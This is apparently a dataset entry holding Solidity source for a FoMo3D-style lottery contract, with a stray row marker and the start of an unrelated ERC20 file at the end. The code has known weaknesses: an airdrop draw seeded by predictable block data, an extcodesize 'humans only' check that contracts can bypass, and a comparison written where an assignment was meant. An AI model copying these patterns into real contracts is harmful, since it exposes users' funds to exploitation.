string constant public name = "imfomo Long Official";
string constant public symbol = "imfomo";
uint256 private rndExtra_ = 30;
uint256 private rndGap_ = 30;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
address constant private reward = 0x78d621C2FC57054202a2fAfA74e3a04518D7dcBe;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(31,0);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(61,0);
fees_[3] = F3Ddatasets.TeamFee(46,0);
potSplit_[0] = F3Ddatasets.PotSplit(15,0);
potSplit_[1] = F3Ddatasets.PotSplit(15,0);
potSplit_[2] = F3Ddatasets.PotSplit(30,0);
potSplit_[3] = F3Ddatasets.PotSplit(30,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(58)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(58)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_p3d = _p3d.add(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
reward.send(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
_p3d = _p3d.add(_com);
uint256 _long = _eth / 100;
otherF3D_.send(_long);
uint256 _aff;
uint256 _aff2;
uint256 _affID2 = plyr_[_affID].laff;
if (_affID2 != 0 && plyr_[_affID2].name != "") {
_aff = _eth.mul(10) / 100;
_aff2 = _eth.mul(5) / 100;
plyr_[_affID2].aff = _aff2.add(plyr_[_affID2].aff);
} else {
_aff = _eth.mul(15) / 100;
}
if (_affID != _pID && plyr_[_affID].name != "") {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
reward.send(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(19)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f,
"only team just can activate"
);
require(address(otherF3D_) != address(0), "must link to other FoMo3D first");
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherF3D)
public
{
require(
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f,
"only team just can activate"
);
require(address(otherF3D_) == address(0), "silly dev, you already did that");
otherF3D_ = _otherF3D;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 875 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
